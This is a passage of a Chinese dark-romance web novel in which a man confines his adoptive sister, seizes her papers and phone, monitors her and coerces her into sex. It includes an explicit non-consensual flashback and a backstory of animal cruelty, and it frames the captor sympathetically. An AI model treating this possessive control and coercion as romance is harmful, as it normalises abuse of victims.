千瑶心间的不安在疯长,如果真的是这样。
她可能真的做了一件错事——把邵向群救出来。
千瑶咬着唇,手指不自觉地摩挲。
邵柏修对她一笑,“我们不聊这个了,宝宝也是被他拐骗的。”
千瑶站起来,她看向邵柏修,“你什么时候放我离开?”
“这就是你的家,你要去哪儿?”
她忍着心里的怒气,心平气和地和他谈。
可是邵柏修的态度在告诉她,让她从这里离开没有可能。
“你这是非法拘禁。”
邵柏修皱着眉头,看着她的眼神困惑。
“宝宝,你说得严重了,我并未限制你的自由,不过是不让你离开我的视线而已。”
千瑶和他说不通,抿着唇不再说话,转身上楼了。
邵柏修看着她上楼,全程不想和他交流。
他扫了一眼桌上的报告单,看得心烦,扔给邹秘书,“拿去烧了。”
千瑶回房间,她现在的房间还是邵柏修住的,他要千瑶和他一起住。
她见到床头柜旁边还有个保险箱,她蹲下去看,和之前在御萃长庭的样式相同。
她的证件很可能就在里边。
邵柏修能放在这儿,说明他根本不担心千瑶能拿到。
千瑶坐在地上,泄了气,眼中没了光亮。
邵柏修把她从冰凉的地面捞了起来,抱在在床上。
他额头抵着她,“看着这个保险柜,还想跑吗?”
千瑶不回话,身体下意识地抗拒。
邵柏修吻下,她脸往左撇,就只吻到了她的嘴角。
无形的拒绝。
他盯着她,眼神晦暗几分。
邵柏修捏着她的下颌,让她看着自己,千瑶撞上他的视线。
他抚摸着她的额发,“宝宝,你这样我很难过。”
邵柏修吻上她的唇,探入更深处。
真丝的裙压揉得褶皱,衣料摩挲,窗外淅淅沥沥下起了小雨。
雨水带着潮湿,打在落地窗上。
她的眼尾湿润了,“哥,放我离开。”
“我不爱你了。”
邵柏修心间倏然停滞,吻着她的动作停了下来。
熹微的光停留在她滑下的泪水,她扣着掌心已经出血。
千瑶的下颌被他抬起,一双眼凝视着她,“不要说令我不高兴的话,千千。”
邵柏修在她颤抖的眉睫盖下一吻,扣着她的腰,全然控制占有。
暮色渐渐落下,天边泛着微弱的白光。
月亮高悬,天色逐渐被灰蓝顷盖。
床边凌乱的衣物,床上被单褶皱。
浴室内氤氲的水汽冲刷着洁白的肌肤,墨发铺散开来,荡漾着水波。
她的唇色变得瑰丽,脸色玫红。
千瑶的眼神恍惚,她已经不知道是多少次了。
她的唇角被咬破,他在那处厮磨按在破了皮的肌肤上,疼得她想要往后仰。
却被人托住了后脑,逐渐加深这个吻。
“邵柏修,我恨你,我恨你......”
腰间倏然被拉近,激起浴缸的水花。
邵柏修眼神晦暗,含上她的肩头,水光从她的肩侧曲线滴下。
滴在他的手臂上,她推搡着他的胸膛,却让他抱得愈发紧。
水面映出她湿润的眼,还有她泛红的脸。
灼热抵着她,她往后推,他就更近一步,让她无法逃离。
千瑶被抱起,双腿交叠在他精壮的腰间。
她背靠着白瓷墙壁,脑袋无力地往后靠着,双手搭在他脖颈上。
邵柏修宽阔的胸膛,爆发力十足的背肌线条绷紧。
腾腾的水汽打在他身上,额发滴着水。
看向她时,占有欲十足,“以后你只能爱我,宝宝。”
“从你来邵家的时候,就已经注定了。”
“呜...”
千瑶腰被掐红了,灭顶的快感袭来。
她扶着他的肩头在颤抖,喘息低低地喷薄在他的颈侧。
“我的妹妹,只属于我。”
“......你疯了。”
千瑶看见他热烈的眸色,顿时哑了声。
低头时,长发垂落在他的手臂上,沾着水光。
邵柏修咬着她的锁骨,抚摸着她美丽的眉骨,在她耳边轻声道:“我早就疯了。”
千瑶皱起紧紧的眉头,脑袋趴在他的肩头,泪水一滴滴地砸下。
他的右肩湿了,晕开了水雾。
-
这几天里,邵柏修还是一如既往地早上去公司,中午给她打电话。
而后傍晚回来陪她吃饭,几乎和之前一样。
千瑶看着一直在响铃的电话,她想按挂断,指尖停留在上边很久。
她如果按掉,惹得他不高兴,晚上他回来就会欺负她。
千瑶连续几天都被弄得没有精神,她身上全是吻痕,令人不舒服。
她犹豫了很久,接通电话。
“千千,听说你中午没有按时吃饭?”
“我不想吃。”
“那我回去做给你吃,就做你以前喜欢的鱼汤。”
千瑶没有回复,电话那边似乎已经习惯了。
“你觉得无聊,可以和林木子一起去逛街。”
千瑶攥着手机,想起那个画面,“你就是她的老板吧,我想见她。”
邵柏修扬了扬眉,不诧异千瑶知道这些。
“当然可以,我让她去见你。”
提起林木子,千瑶想起之前在夜店见到的那个女孩。
容貌一模一样,她记人一向清
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楚。
以邵柏修的行事风格,林木子也是他派来接近她的。
林木子会给她谈很多恋爱技巧,会在不经意间缓解她和邵柏修的关系。
在矛盾出现时,林木子会替邵柏修解释行为,目的就是加深她对邵柏修的依恋。
那种背叛感,让她气得颤抖。
她曾经信任的好闺蜜,结果就是个骗局。
“林小姐,请进。”
佣人将人送至厅内,而后便离开了。
千瑶闻声扭头,那人就站在门口。
视线对视间,千瑶没有说话。
林木子身着简单的棕色毛绒大衣,头发扎了个低马尾。
她和以前一样,又有什么地方不一样了。
“千千,我来了。”
“请坐。”
林木子眸中闪过一丝情绪,她坐在千瑶对面。
从她接到电话,千瑶要见她的那刻,她一直以来的内疚得到了解脱。
林木子不敢主动联系她,她怕会彻底失去这个朋友。
“对不起,我骗了你。”
林木子在说出这句话时如释重负,她一瞬间不敢抬眼。
她知道属于她的审判来了。
千瑶紧紧盯着眼前人,眼睛酸涩,眼眶红了。
林木子有无数次告诉她真相的机会,千瑶是真心待她为好友,林木子却这么对她。
“为什么?”
“我不是什么富家女,我需要钱,我需要很多很多钱。”
林木子双手捂着脸,她带着哭腔。
“我成绩很好,有去出国留学的机会。在那之前,法国的物价很高,我必须要挣钱。”
“所以我在夜店当服务员,同时又干了几份兼职,可都是杯水车薪。”
林木子看向她,“你当时也看到了不是吗?”
“而在这时候邵先生给了我这个机会,那是几百万美金,我没理由不答应。”
林木子眼神中带着恳切,揉着刘海,“我对不起你千千,我害怕告诉你。”
“我很喜欢和你做朋友,不管你信不信,我是真心的。”
她手边递来一张纸巾,林木子抬眼,撞上千瑶的视线。
林木子看着那纸巾,犹豫地看着她。
千瑶塞在她手中,“擦擦,别哭了。”
“......千千。”
“你完成了任务,那什么时候去留学?”
“我三天后,在校的学业也完成了。”
林木子看着她,眼中带着一丝期翼,“你这是......”
“我气你背叛我,我更气你和邵柏修联合算计我。”千瑶站起来,“但是我更担心你。”
“如果你如实跟我说,我会帮你的木子。”
千瑶说着眼眶直接红了,她说得着急,“......而不是去那种地方兼职,它没有执照,是违规营业的。”
“万一出了事,谁能救你?”
千瑶泪水在眼眶里打转,林木子站起一把抱住了她。
她不敢奢求原谅,她已经做好了被千瑶怒斥的准备。
她没想到千瑶是这么想的,“千千,我......我...”
千瑶关心道:“你钱够吗?”
“够的、够的。邵先生给了我很多,足以支撑我在法国求学生活。”
千瑶轻拍她的脊背,唇角扬起笑意。
她心里的怨恨和气愤在这个拥抱中释怀了。
千瑶很轻松,也很开心林木子能去追求学业。
“那就祝你一路顺风。”
“千千,我会想你的。”
送走了林木子后,千瑶心情变得很好。
下午的阳光正好,她在花园里的秋千坐着,双腿交叠,看着手里的书。
眼前的书页被盖下一道阴影。
她抬头看去,邵柏修回来了。
34. 第34张照片
“千千,你今天心情不错。”
邵柏修坐她旁边,秋千受重,跟着向后晃动。
千瑶见他来了,表情顿时变了。
她合上书,起身就要走。
纤细的手腕却被一拽,连人带书全跌落他怀中。
她坐在他腿上,腰肢被扣着,她走不了。
“林木子帮我做事,她也得到了报酬,利益的往来最为牢固。”
千瑶看着横在腰间的手,她尝试起身,又被他抱得更紧。
“除了木子,还有我妈妈对吗?”
“在视频里的她不是本人。”
邵柏修弯了弯唇,“确实不是。”
“......你到底骗了我多少。”
千瑶之前有多信任他,现在就有多失望。
她之前在帐篷外听到的对话,当晚就有妈妈的电话打来。
邵柏修当时就是在圆谎,让她相信。
千瑶鼻子一酸,他的嘴里没有一句实话。
现在被拆穿了,还是这样无所畏惧的模样。
他吻着她额头,“千千,你问了就会伤心的。”
邵柏修见她的眼尾泛红,指尖抹去她眼角的水光。
千瑶拿下他的手,直视着他。
还有景喻哲。
“景喻哲被人设计,是你干的。”
“景家的变故,是你一手造成的。”
千瑶攥着他的手臂,眼前的男人没戴眼镜,眉宇凌厉。
一双眸子看人时深邃无尽,唇角微微挑起笑意。
邵柏修嗤笑,“自作孽不可活,怎么能算在我头上,这太不公平了。”
“你还在想着你前男友?”
千瑶觉得他不可理喻,他为了泄私愤,说得自己大义凛然。
景家如今落寞,全靠景喻哲撑着。
当时景喻哲给她看的那些资料,她才知道自己一直处在圈套里。
“当时我和你在victoty酒店前争执,根本不是因为版权对不对?”她忍着哭腔。
“到底因为什么?是不是景喻哲,是......”
千瑶情绪激动,她捂着脑袋,头痛欲裂。
“千千,别再想了。”
一些记忆闪回,零星地散落。
“喻哲不会这么做的,哥哥。”
千瑶被他拽着手腕,她小步跟上,前头的力道拉着她。
邵柏修一脸冷色,停在走廊间。
倏然松了手,千瑶差点撞上他。
“哥哥,你太过分了!”
邵柏修转身看向她,握着她的肩,将她压在了墙上。
贴着冰凉的墙壁,她的肩被他捏得生疼。
“千千,你为了一个野男人在指责我?”
“不是这样的,哥哥,喻哲他人很好的,你不要这么说。”
“在国外的时候他很照顾我,他不是你说的那种人。”
邵柏修冷笑,“刚处了多久,你就为他说话。”
“他给你下了什么药?”
千瑶觉得和哥哥说起男朋友,就是一件错误的事情。
邵柏修好不容易等到她回来,结果身边站了一个陌生男人。
从小看到大的女孩被人拐了,以前眼里只有他的人,现在满心满眼都是那个姓景的。
他无法忍受,甚至想杀人。
“哥哥,景喻哲是我的男朋友,千家和景家是要联姻的,你这么做非常失礼。”
千瑶一本正经地和他讲,她对待这件事很严肃。
感情的事情,她都是认真的。
“千瑶,你出国念了四年书,回来就要结婚。你觉得我会同意吗?”
“我和喻哲是谈了三个月,对于结婚我们很谨慎,并没有立刻就要结。”
千瑶还想说什么,就见对面的男人笑了,笑得上气不接下气。
她看着他这幅模样,红色的血丝攀上眼眶,眼底赤红。
“三个月?”
他攥着千瑶的手,把她拉进房间。
咔哒——
锁上了门。
“哥哥,你做什么?”千瑶被他摔在床上。
脑袋被摔懵了,她觉得哥哥特别的莫名其妙。
灼热的眼神注视着她,就像一匹疯了的恶犬,盯着独属于它的猎物。
千瑶觉得现在非常的不对劲,哥哥的眼神危险。
她往门口跑去。
哐啷——
椅子砸在门上,凳子瘸了一个脚。
连带着门都凹下去。
千瑶被吓得坐回了床上。
他俯身往下压,攥着她的手腕,压在头顶。
“处了三个月?”
“他碰你哪儿了?”
邵柏修眼神凶狠,身上的衬衫崩开了几道扣子。
膝盖压着她的腿间,她无法动弹。
千瑶纵使再迟钝,也知道他现在的意思,她现在的处境非常糟糕。
“碰你这里了吗?”
手放在她的腰间,衣服被卷起来。
千瑶挣扎着,冰凉的手指放在她的腰上。
手逐渐往上,她的衣服扣子一点点地被解开。
“住手,哥。”
她被揉得眼尾发红,她从未感受过的刺激感冲击着她全身,敏感得弯着身子。
从未被碰过的领域就这样敞开,供人观赏揉捏。
“不要,哥哥。”
千瑶泪水在眼眶间,她摇头,“你不能这样对我......”
“景喻哲就可以了是吗?”
邵柏修凝视着身下人,满腔的怒火在燃烧。
烧得他浑身暴虐,眼神恹恹。
一想到照片里,千瑶对着身旁人笑得开心。
她的笑不再是为了她哥哥,而是为了不知从何处冒出来的男人。
“不是的。”
碎花裙子被扯得支离破碎,床铺在下陷,他的重量压在她身上。
他的拇指按着她的唇,“他有吻过你吗?”
千瑶不是个主动的人,景喻哲很有风度。
千瑶和景喻哲之间平日里只是简单的握手,拥抱。
“没有......”
指腹在她唇上揉捏,捏着她的下颌。
邵柏修浑身血液滚烫,盯着她的视线火热。
粉嫩的唇合不上,露出光洁的唇齿,吻着她的红唇。
千瑶直接蒙了,她甚至忘记了挣扎。
哥哥在吻她。
她挣扎得更加厉害,腰间按在了某处,她敏感得浑身战粟。
她被撬开了齿间,任由他侵入。
千瑶无法呼吸,她膝盖往上踹,被他大手压下。
“景喻哲和你上过床吗?”
她不可置信,他会问出这句话。
邵柏修将她的愣神,当做不想和他说话的冷淡。
里衣被完全褪下,羞辱感冲击着她。
她想要遮住自己,却被他轻而易举地拉开。<
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p>紧随而下的便是冰凉的触碰,她不可遏制地闷声。
“我是你妹妹,你会后悔的......”
千瑶被揉得发颤,眼角的泪被舔舐。
鼻尖蹭着她的脖颈,注视着她的眼神极其色气。
深情,黏腻,疯狂。
邵柏修抚摸着她的腰,细细地嗅着她发丝的清香,哑声道:“我后悔不能让你留在我身边。”
“让你爱上了别人。”
他冰凉的指尖顺着她的腰迹往下,衣裙已经破败不堪。
千瑶沁出了眼泪,她推着他的手臂,湿漉漉的眼神望着他。
而随之的快感,让她大脑一片空白。
千瑶在轻声啜泣,视线不敢往下看,她咬着唇,这不是她会发出的声音。
“他碰过这里吗?”
邵柏修直视她,目光让她无法逃离。
“千千,说话。”
“唔...走开。”
朦胧的灯光在头顶闪烁,在这个硕大的宅院,没有人能救她。
千瑶后悔了,她后悔回来。
她就不该再和邵家任何人沾上关系,她以为哥哥还会像以前一样。
他只是脾气不好,但是对她很好。
千瑶让他接机,在主动谈起景喻哲的那刻,他就宛若变了一个人。
他和记忆里的那个哥哥截然不同,四年的光阴,将他们变得如此陌生。
因为当年的事情,邵家窃取千氏集团重要机密,致使千氏遭到重创,差点被吞并。
千轶芸直接带走千瑶,远离了Z国。
邵向群使的卑劣手段,意图吞并千氏,还是千轶芸在M国创出了一番天地,集团才能起死回生。
她早就对邵向群恨之入骨。
可千瑶放不下哥哥,她虽然出国,但还是会时常联系邵柏修。
他们久别重逢,可她回来见到的第一眼,就是甩下来的一堆照片。
全是她和景喻哲的亲密合照。
没有寒暄,没有倾诉,劈头盖脸全是质问。
千瑶只觉得痛苦,让人窒息。
“千千,我喜欢你很久了。”邵柏修埋在她的脖颈间。
他抚摸着她的侧颜,无数次梦中见到的容颜,在此刻触手可及。
千瑶捂着耳朵,她不敢听。
“你闭嘴。”
邵柏修拿开她的手,捏着下巴,让她正视,“我爱你。”
“闭嘴......”
“放松,不然会疼的。”
“闭嘴......”千瑶哽咽。
她不敢相信自己的哥哥会对她做出这种背德的事。
千瑶猛然抓住他的手臂,刹那间仅存的理智崩溃。
不受掌控的感觉让她不安,那双手划过她的蝴蝶骨,接吻时热烈而滚烫。
她难受得不知道呼吸,张着口低喘。
千瑶被逼得逐渐沦陷,刺痛和难堪冲击着她的内心。
他疯了,她也疯了。
和自己的哥哥躺在一张床上。
“好痛,哥,我痛,,,”
“你和那个姓景的在一起,我也痛。”
他哑着声音,“......痛得快死了。”
千瑶眼睫在轻轻颤动,魅色浮现她的脸颊,滚烫炙热的手划过她的肩头。
邵柏修往下一按,她发出轻微的呜咽,让她更靠近自己,全然掌控。
他咬着她的耳朵,“和我上了床,还要嫁给他吗?”
35. 第35张照片
邵柏修不计后果,哪怕千瑶恨他。
在见到她对别的男人笑的时候,他就已经疯了。
天色晴朗,明媚的阳光洒落纯白的床铺。
千瑶身体蜷缩在一起,睡得很不安稳。
身后的男人手揽着她的腰,将她抱在怀里。
昨日因为景喻哲,他和千瑶之间的情分,就像碎掉的镜子无法重圆。
两人的情谊生了嫌隙,弥合不了。
千瑶醒来,浑身上下酸痛。
眼尾的红未消,她看着天花板,看了许久。
“我让人送衣服过来。”邵柏修在她身边说。
敲门声响起,衣服放在门口。
邵柏修去拿衣服,挑了一件白色连衣裙,穿在她身上很适合。
千瑶默不作声,就像失去了灵魂。
她接过衣服,干净利落地换上,去浴室洗漱了。
千瑶刷着牙,吐出口中的泡沫,从身后看到邵柏修注视着她。
“景喻哲不适合你。”
千瑶把口杯重重砸在洗漱台上,杯中的水溅出来,洒在桌面上。
“你没资格提他。”
“昨天夜里,他去酒吧喝酒,当晚就去开了房。”
“这样的男人,根本配不上你。”
千瑶扭头看向他,眼神里充满了愤怒,“你说谎,我知道他是什么样的人,你就算贬低他,我也照样喜欢。”
邵柏修低垂着眉眼,靠在门边,下身仅围了一件白色的浴巾。
上身满是抓痕,她仅是瞥一眼就挪开了。
“和我去酒店。”
“为什么?”
“你不是说我贬低他吗?不敢亲眼去见证?”
千瑶漱完口,直视他的眼,“你什么意思?”
“带你去捉奸。”邵柏修挑眉。
千瑶走到门口,眼前就是一道健硕的身躯挡着她。
邵柏修直起身,一手搭在门框上。
“你不敢去吗?”
千瑶抬眼看他,“我没你这么无聊。”
邵柏修双手环臂,没有再拦着她。
他神情轻松,没有听她的意见,“五分钟后,车库见。”
千瑶怒视着他,离开了浴室。
三分钟不多不少,邵柏修准时出现在车库。
白色玛莎拉蒂前,拦着一众黑色保镖。
千瑶按着喇叭,一踩油门,距离这道人墙就几米。
他们仍不为所动。
与此同时,冲出好几辆黑色轿车,将她的车团团围住。
邵柏修朝她的车窗敲门,千瑶按下车窗,“你到底要干什么?”
“开门。”
千瑶气不打一处来,她如果不随他意,今天她是走不了了。
邵柏修打开车门,坐上副驾驶。
“走吧,去victory。”
“不去就在这儿耗着,我有时间。”他支着脑袋,看着她。
千瑶看着周围的车,前面三辆,后面四辆,把她夹在中间。
她跟着前边的车辆走,按照既定的路线来到victory酒店前。
车刚停下,邵柏修就下车,解开她的安全带。
一路拽着她的手腕,往酒店的1898走。
“你不信,那就自己亲眼看看。”
千瑶掰着他的手,抓得特别紧,手腕直接红了一圈。
“我不想去,你放开我。”
修长的腿迈开步子稍快,千瑶被他拽着,她只能小跑跟在身后。
千瑶看着他的背影,冷峻的侧颜,神情不容质疑。
邵柏修站在1898门前停下,手中捏着房卡。
叮铃——
直接就开了。
邵柏修面无表情,一脚踹进去。
房门砰地一声,砸在旁边的墙壁上。
床上的两人被这声音猛地惊醒,女的捂着被子,尖叫出声。
景喻哲悠悠转醒,眼前朦胧间,看到面前站着的人。
他猛地坐起,他焦急地看向千瑶,“千千,不是你看到的这样!”
他身旁的女人被惊吓得躲进被子里。
“景少,他们是谁啊?!”
“千千,我和她......没有那种事。”
“你们这是侵犯个人隐私,景少,快叫人把他们拉出去啊。”
千瑶耳边乱糟糟,眼睛顿时红了。
她呼吸急促,目光盯着景喻哲身上那些暧昧的吻痕。
身旁的女子露出的脖颈上殷红的痕迹,都是欢爱激情留下的斑驳。
千瑶的泪水一下就涌了出来,入目的情景犹如针扎在胸口。
之前的甜言蜜语,海誓山盟,顷刻间崩塌。
鼻子酸涩,她的心被掰开揉碎了。
这种痛彻心扉,就是邵柏修想让她体会的。
她强忍自己的情绪,带着哭腔,“景喻哲,我们结束了。”
千瑶说完这句话,夺门而出。
她擦着眼泪,泪水滑落,快步跑过走廊。
“千千,你相信我,我没有和她上过床!”
“千千!”
景喻哲紧张地看着远去的人,急忙找自己的衣服。
邵柏修追着千瑶,一路追出了酒店门外。
在高大的立牌前,他追上了她。
“千千,你看到了吧,他就是这种人。你别再被他一脸儒雅给骗了。”
千瑶红着眼眶,瞪着他,“你的目的达到了。”
“我跟他分手了,你很高兴,很得意是吗?!”
她在风中嘶吼。
“你远离他是正确的选择,他图谋的就是联姻给他们景家带来的效益。”
邵柏修冷静地看着她,他想要擦去她的泪水,却被她的手打下来。
邵柏修看着落空的手,他愣住了。
“你不觉得很可笑吗?”
“你敢说这一切不是你做的局?你告诉我他混夜店的消息,费尽心思带我来这里,不就是想让我见到这些吗?”
“你觉得我看了就会对景喻哲死心,彻底甩了他。”
千瑶眼泪划过下颌,风吹散了她破碎的心。
邵柏修沉默不语。
“哥哥,我快要疯了。”
“你别再插手我的生活了,我真的好累好累。”
千瑶直接拉开车门,一脚油门踩到底,在路上飞驰。
“千千——”
邵柏修彻底慌了,他扯下黑色宾利的司机,自己追了上去。
窗口的风吹得人心冷,千瑶泪水几乎在风中流干了。
副驾驶上的红色LV包是她所有的证件,她在上车前就带出来了。
她要离开,她要远离邵柏修。
千瑶从后视镜见到那辆黑色宾利跟了上来。
黑色宾利之后,还有好几辆紧跟的车试图拦截她。
她冷着眼,紧闭车窗,提起速度在高速上车速极其快。
而在一个路口拐角,骤然有车变道。
千瑶猛地打方向盘,踩着刹车,车在路上打滑,纵然与前边的一辆白色轿车相撞。
砰——
车辆侧翻,安全气囊弹出。
她的头流了很多血,直接被撞懵了。
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意识渐渐模糊,千瑶动弹不了。
“千千——”
那人喊得撕心裂肺,她的眼睛想睁却睁不开,昏了过去。
千瑶捂着头,身旁的邵柏修紧张地看着她。
“邵柏修,我想起车祸的事了。”
她扶着秋千绳,脑袋的晕眩逐渐缓过来。
千瑶靠在身后的秋千长椅上,手臂横在眼睛上,泪水从她的手臂流下。
“哥哥......你还要折磨我吗?”
“我在保护你。”
“Vicotry酒店的事不是我设计的。”
千瑶起身,擦干了眼泪,扭头去看他,“不用解释,我不会信的。”
千瑶径直离开花园。
邵柏修看着她远去的身影,眼神顿时暗了下来。
想到她处的三个月男友,心心念念都是那个人。
“艹该死的。”
一通电话打来,邵柏修心情不爽。
“说话。”
“邵总,张编辑一直联系不上千瑶小姐,她还有些小说事务要对接,您看?”
“让她滚。”
“额...好的。”
电话在即将挂断时,邵柏修又想到那只笨兔子。
爱小说如命,要是版权真黄了,又得哭成什么样。
“等等。”
“邵总您说。”
“把她的联系方式给我,我跟她谈。”
“啊?您直接对接吗?”
“废话这么多,能干干,不能干滚。”
“好的。”
-
晚上。
千瑶坐在沙发上看电视,邵柏修坐过来。
她把电视关了。
邵柏修看着黑屏的电视,气笑了。
千瑶走向花园,继续在那个秋千上看书,邵柏修坐过来。
她把书放在秋千上,人走了。
邵柏修捏着那本书,翻了几页,带起的风吹不散他心里的火。
千瑶在书房对着电脑苦思冥想,刚打了几个字,又在斟酌语句。
邵柏修走过来,按掉主机电源键。
千瑶看着骤然关机的电脑,她抬眼怒视着邵柏修。
“终于能看我了。”
“我要工作。”
邵柏修坐在书桌旁,凝视着她,“可以,我现在就跟你谈工作。”
“你说过我可以写小说的,你现在又是什么意思。”
她隐忍着怒火,对他严重干扰自己的工作表示很大的不满。
“《青梅若止》,张编辑找上我了。”
千瑶心里一紧,她的神情也变得柔和了。
她自从手机被收走之后,她就和外界失联了。
而能接触到的网络都是在邵柏修的监视下,她没机会去联系人。
“是不是有什么问题?是有逻辑不通的地方吗?还是文笔的修饰?”
邵柏修耸了耸肩,“可惜了,我不知道。”
千瑶焦急了,“那她到底说了什么?”
他把手机摆出来,给她看内容。
大意是让她交一个人物小传,还有一些材料。
千瑶认真地浏览上边发过来的文字,她逐渐勾起唇角。
邵柏修看她心情肉眼可见地变好,心里头的不悦也渐渐淡去。
他连带着嘴角也多了几分笑意,“她还要见你,顺便再敲定细节。”
千瑶因为这句话,眼里骤然亮光。
离开邵柏修的念头在疯长,突如其来的欣喜让她振奋。
张编辑要见她,她有机会了。
36. 第36张照片
千瑶得知这个消息,直接连夜干到凌晨三四点。
她已经连续两天这样,邵柏修对此非常不满。
凌晨时分,千瑶在电脑前飞速地打字。她喝了一口咖啡,更加精神了。
冰咖啡的刺激,直激天灵盖。
叩叩——
千瑶抬头看了一眼,邵柏修站在书房门口。
她又埋头于电脑前,不想搭理他。
“睡觉了。”
“下周一才去,现在才周六。”
“你不睡,那就不去了。”
千瑶打字的手一顿,键盘声停了。
她挣扎了几瞬,而后保存好后退了出来。
电脑关机,她将椅子推好。
邵柏修嫌她动作慢,直接一把抱起她往卧室走。
千瑶确实很累,长期盯着屏幕,眼睛特别痛。
她趴在床上,接触到床的那刻,咖啡也不顶用了,刚沾床就直接睡着。
邵柏修看着身侧人轻轻地吐息,眼底有浅淡的乌青。
她这些天压根没睡好,把自己折腾成这样日夜颠倒。
他在她额头盖下柔情一吻,将她的手放进被窝里,让她睡在自己怀里。
周一,工作最繁忙的日子。
千瑶再次检查好自己要交的东西,还有一些材料。
邵柏修盯着她,看她手拿资料袋。
“可以走了?”
“你也要去?”千瑶诧异。
邵柏修看向她,挑眉道:“怎么,我不能去?”
千瑶捏着材料袋紧了几分,他朝她伸出手。
眼神示意她手中的材料,“给我。”
千瑶将袋子放在他手上,心里却在怦怦直跳。
她眼神紧张地盯着他手里的东西,邵柏修拉开链子,随意翻了翻里边的纸张。
他不经意抬眼,千瑶挪开了目光。
“还挺认真。”
邵柏修拉好拉链,千瑶伸手就要去拿。
他忽然抬高手,让她抓了个空。
邵柏修嘴角挑起笑意,“没藏别的秘密吧?”
“你刚刚不是看过吗?没有。”
“快还给我。”千瑶踮起脚去拿。
他手稍稍低了些,正好让她刚好够到,她拿在手中,放在胸前。
宝贝得不成样。
邵柏修让人上车,她看了眼司机,还是赵叔来接送。
千瑶好久没有见到他了,她笑着打了声招呼,和赵叔寒暄搭了几句话。
一旁的邵柏修反倒不悦,她对待别人比自己的态度都要好。
“开你的车。”
千瑶扭头,见他撑着脑袋,微眯着眼。
她记得他好像也是凌晨睡的。
车在广贸大厦停下,还是之前的路径。
千瑶走在前头,邵柏修单手插兜跟在她身后。
他的视线时不时扫过周围,闲庭信步。
千瑶皱眉,她看向身后人,“你能不能快点,快到时间了,迟到了很不好。”
她见邵柏修没动静,直接拉着他的手臂,加快了脚步赶上电梯。
来到休息室,张编辑很早就在里头了。
于此同时还多了好几名主编和社长,见到来人纷纷站起迎接。
“邵总,您好。”
“千小姐,请坐。”
邵柏修颔首,坐在后头的沙发上。
他坐得歪斜,双腿交叠而坐,注视着前方人。
“啧,谈个小说用这么多人?”
懂事的几人连忙退了出去,休息室内只剩下张编辑三人。
千瑶将手头的资料递给张编辑,“这是我做好的,请过目,有什么我还可以再修改。”
张编辑笑了笑,浏览她所给的文章。
千瑶指着其中的一页,她指尖在上边点了点,“特别是这一页,可以重点看看,我觉得还有改进的空间。”
“但是我又找不到那种感觉,不知道问题在哪儿,辛苦老师帮我看看。”
“好。”
张编辑拿过那份,千瑶所指的是119页。
她拿到纸张,微一皱眉。
“之后您再回复我也是可以的。”千瑶微笑。
二人又继续聊了起来,无所事事的邵柏修看着千瑶的侧脸。
她工作交谈时的模样和以往不同,认真专注,倾听时带着浅笑。
他看进去了,忽然想把她藏起来,不给任何人窥视。
商谈完毕后,千瑶感觉一阵轻松。
走出门口时,她再次和张编辑说了一下,“119页的情节我觉得比较重要,您可以再斟酌。”
“过后若有什么情况,我会和邵总这边沟通的。”张编辑点头。
张编辑自从上次收到邵总消息时,她也吓了一跳。
后续千瑶的一切,都经他手。
她不能与千瑶私下联系,必须要通过邵柏修这边才可以联系上她。
千瑶出了大厦,又回了邵宅。
邵柏修下午去了公司,千瑶独自坐在秋千上,看着眼前的花草沉思。
她不知道张编辑能不能发现她的东西。
119页的厚度和别的页数都不同,她特地用了两页打印稿黏在一起。
里边的内容很简单,就是让张编辑救她。
只要能发现,她就有希望离开。
千瑶也是在赌,她在赌张编辑会不会帮她。
王妈端着茶水过来,将她做好的小蛋糕放在千瑶旁边。
“小姐,您的下午茶,这个蛋糕是草莓味的,先生还特意跟我说了您喜欢这个味道。”
“如果还有想吃的,您告诉我一声,我这就让人去做。”
千瑶看着放置在桌旁的草莓蛋糕,顶上布满了草莓,奶油喷香。
让人一看就很有食欲。
“谢谢王妈。”
她端着蛋糕,用叉子沾点奶油放进嘴里。
王妈看着千瑶吃,她手里拿着盘子放下,忽然有些感慨。
“先生小时候也像您一样,喜欢在这个秋千角落待着。”
“这里?”
千瑶一顿。
“和他的朋友,一只兔子。”
秋千前是一片草地,王妈看着前方,“他当时就是在这儿发现的那只兔子,之后当成了玩伴。”
千瑶记忆闪回到那个雨夜,她和邵柏修埋的兔子。
王妈说的应该就是那一只,原来是他养的。
“他经常在这儿待着,给它喂胡萝卜。可惜老先生见到了这一幕,觉得他不务正业,竟然当着他的面把兔子摔死了。”
王妈讲到这儿,叹了口气。
她有时候也不能理解老先生的行为,何必跟一个孩子过不去。
千瑶停下手中的叉子,心中一紧。
口中的奶油化开,渐渐地没了味道,她感觉一点都不甜。
“当时所有佣人都离开了,我也是走在最后,偷偷看了一眼。”
“老先生拿了一把小刀,把那只兔子解剖了。先生就站在他面前,看着他动手,不哭不闹,也没有
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情绪。”
“还让他凑近观看,哪个部位是它的脏器,让他念出名字。”
王妈说到这儿,骤然哽咽了一瞬。
那个场面她一个成年人看了都觉得骇人,当时的先生还是个这么小的孩子,就要被迫看这些。
“之后先生就再没养过其他宠物。”
千瑶怔了怔,叉子骤然从手中滑落。
他面无表情,满身泥泞。
血染红了整只手,混杂着泥土,注视着坑里的玩伴。
那个雨夜,邵柏修在想什么。
“哎,我说多了。”王妈话说到这儿就停了,忽地看见地上的叉子。
“小姐,我再帮您换个叉子,稍等。”
王妈捡起叉子,转身离开花园。
千瑶心里沉甸甸的,就像被什么东西压在心头。
她误会了邵柏修。
她看到的那个画面下意识地认为是邵柏修做的,一直认为是他做了这些残忍的事。
夜幕降临,天边的余晖浅淡。
千瑶魂不守舍地扒着饭,只吃自己面前的几样菜。
邵柏修在她面前打了个响指,她回过神来。
“不和口味?”
千瑶摇头,她放下筷子。
她看着面前的邵柏修,脸皱在一起。
她紧皱着眉头,表情严肃。
邵柏修见她一本正经地注视着自己,他也放下了手里的筷子。
“怎么了?”
“对不起。”
“什么?”邵柏修愣了。
千瑶很认真地表达自己的歉意,“之前和你一起埋兔子,我一直以为是你杀的它,还把它......”
她抿了抿唇,那个画面她没敢再描述下去。
邵柏修看着她严肃的神情,她摆在桌面上的手,不安地攥起。
他拉过千瑶的手,“都过去这么久了,我都不放在心上,你也不要再想。”
“我从来没有怪过你,为什么要自责。”
他展开她的掌心,指甲把掌心扣得留下一个个痕迹。
邵柏修皱起眉头,揉了揉她的手心。
她纠结了一个下午的道歉,终于能说出口。
道歉是必要的,是她自己把人想错了,邵柏修该有多难过。
千瑶把心结说开后,心里轻松了很多,嘴角逐渐扬起笑意。
她看着桌上的排骨,给他夹了好几块。还有炒蛋,小炒肉全都堆在他碗里。
“都给你吃。”
邵柏修看着碗里堆成小山的菜,顿时笑了。
